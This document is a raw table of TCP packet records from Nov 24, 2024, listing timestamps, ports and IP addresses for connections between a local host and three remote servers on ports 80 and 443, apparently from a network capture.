Nov 24, 2024 14:24:30.242242098 CET	49812	443	192.168.2.4	104.21.10.6
Nov 24, 2024 14:24:30.242255926 CET	443	49812	104.21.10.6	192.168.2.4
Nov 24, 2024 14:24:30.746421099 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:30.746604919 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:30.746700048 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:30.809426069 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:30.809474945 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:30.809488058 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:30.809581041 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:30.809595108 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:30.809644938 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:30.810672998 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:30.810703993 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:30.810717106 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:30.810770988 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:30.832240105 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:30.833153963 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:30.866642952 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:30.866795063 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:30.866883993 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:30.871704102 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:30.922338963 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:30.930325031 CET	443	49812	104.21.10.6	192.168.2.4
Nov 24, 2024 14:24:30.930562973 CET	443	49812	104.21.10.6	192.168.2.4
Nov 24, 2024 14:24:30.930655003 CET	49812	443	192.168.2.4	104.21.10.6
Nov 24, 2024 14:24:30.946304083 CET	49812	443	192.168.2.4	104.21.10.6
Nov 24, 2024 14:24:30.946321011 CET	443	49812	104.21.10.6	192.168.2.4
Nov 24, 2024 14:24:30.981514931 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:30.981657028 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:30.981698990 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:30.985776901 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:31.001482964 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:31.001547098 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:31.001571894 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:31.005781889 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:31.005845070 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:31.007239103 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:31.007287979 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:31.007335901 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:31.015799999 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:31.015881062 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:31.015923977 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:31.024462938 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:31.024697065 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:31.024736881 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:31.032809973 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:31.032897949 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:31.032938004 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:31.041374922 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:31.041491032 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:31.041536093 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:31.049745083 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:31.049932003 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:31.049989939 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:31.058202028 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:31.058311939 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:31.058352947 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:31.066874027 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:31.066977024 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:31.067023993 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:31.100136042 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.100182056 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.100191116 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.100193024 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.100224018 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.100233078 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.100244045 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.100256920 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.100269079 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.100280046 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.100285053 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.100292921 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.100313902 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.100404024 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.100414991 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.100425005 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.100451946 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.100465059 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.104454994 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:31.104562044 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:31.104600906 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:31.108737946 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:31.156687021 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:31.173403978 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:31.173516035 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:31.173557043 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:31.176840067 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:31.176925898 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:31.176963091 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:31.183564901 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:31.193557024 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:31.193600893 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:31.193625927 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:31.196572065 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:31.196618080 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:31.196676970 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:31.202784061 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:31.202830076 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:31.205079079 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:31.205199003 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:31.205238104 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:31.211348057 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:31.211502075 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:31.211545944 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:31.217556000 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:31.217750072 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:31.217792034 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:31.220118999 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.220166922 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.220208883 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.220259905 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.223795891 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:31.223906994 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:31.223947048 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:31.230000019 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:31.230108976 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:31.230150938 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:31.236311913 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:31.236413956 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:31.236458063 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:31.242501020 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:31.242599010 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:31.242638111 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:31.246437073 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:31.246543884 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:31.246581078 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:31.250435114 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:31.250565052 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:31.250603914 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:31.254179001 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:31.254307032 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:31.254344940 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:31.258089066 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:31.258204937 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:31.258246899 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:31.262010098 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:31.262115002 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:31.262152910 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:31.266048908 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:31.266145945 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:31.266184092 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:31.269905090 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:31.269999981 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:31.270037889 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:31.273947954 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:31.274029016 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:31.274066925 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:31.277838945 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:31.277849913 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:31.277884960 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:31.293984890 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:31.294285059 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:31.294325113 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:31.295795918 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:31.295953035 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:31.295994997 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:31.299698114 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:31.300864935 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:31.300908089 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:31.300910950 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:31.301234961 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.301278114 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.301430941 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.301467896 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.305632114 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.305680037 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.305681944 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.305721045 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.311925888 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.311964035 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.312089920 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.312134027 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.320266008 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.320312023 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.320396900 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.320436954 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.328649998 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.328696012 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.328772068 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.328815937 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.337193012 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.337234974 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.337320089 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.337364912 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.344208956 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:31.345374107 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.345443010 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.345590115 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.345638990 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.353770971 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.353821039 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.353952885 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.354000092 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.362546921 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.362595081 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.362730980 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.362837076 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.365426064 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:31.365550995 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:31.365592957 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:31.367441893 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:31.367525101 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:31.367563963 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:31.369961977 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.370021105 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.370043993 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.370089054 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.370402098 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:31.370520115 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:31.370558977 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:31.374376059 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:31.374454021 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:31.374492884 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:31.377620935 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.377667904 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.377743006 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.377793074 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.378182888 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:31.385695934 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:31.385740042 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:31.385744095 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:31.437958002 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:31.495539904 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:31.495850086 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:31.495910883 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:31.497167110 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:31.497231007 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:31.497258902 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:31.498012066 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:31.498143911 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:31.498181105 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:31.499937057 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:31.500037909 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:31.500077963 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:31.501846075 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:31.502791882 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.502851009 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.502962112 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.503002882 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.505317926 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.505362988 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.505455971 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.505497932 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.510338068 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.510390043 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.510402918 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.510443926 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.515321970 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.515366077 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.515415907 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.515455961 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.520325899 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.520369053 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.520397902 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.520464897 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.525312901 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.525361061 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.525405884 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.525454044 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.530317068 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.530385017 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.530424118 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.530463934 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.535356998 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.535404921 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.535475969 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.535516977 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.540369034 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.540415049 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.540474892 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.540518999 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.547003984 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.547055960 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.547081947 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.547128916 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.547317028 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:31.550359011 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.550415993 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.550451994 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.550489902 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.555444956 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.555485010 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.555644035 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.555682898 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.557642937 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:31.557748079 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:31.557786942 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:31.560393095 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.560439110 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.560478926 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.560517073 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.565448046 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.565495014 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.565532923 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.565576077 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.570575953 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.570631981 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.570662022 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.570699930 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.575489044 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.575540066 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.575579882 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.575632095 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.580564976 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.580607891 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.580705881 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.580749989 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.580933094 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:31.581054926 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:31.581098080 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:31.581969023 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:31.585454941 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.585508108 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.585571051 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.585612059 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.590508938 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.590553045 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.590611935 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.590651989 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.595549107 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.595601082 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.595760107 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.595801115 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.600549936 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.600594997 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.600644112 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.600688934 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.605514050 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:31.605561972 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:31.607747078 CET	49819	443	192.168.2.4	104.21.10.6
Nov 24, 2024 14:24:31.607784986 CET	443	49819	104.21.10.6	192.168.2.4
Nov 24, 2024 14:24:31.607868910 CET	49819	443	192.168.2.4	104.21.10.6
Nov 24, 2024 14:24:31.608160973 CET	49819	443	192.168.2.4	104.21.10.6
Nov 24, 2024 14:24:31.608177900 CET	443	49819	104.21.10.6	192.168.2.4
Nov 24, 2024 14:24:31.625457048 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:31.667428017 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:31.667540073 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:31.667587996 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:31.668175936 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:31.687407017 CET	80	49808	34.116.198.130	192.168.2.4
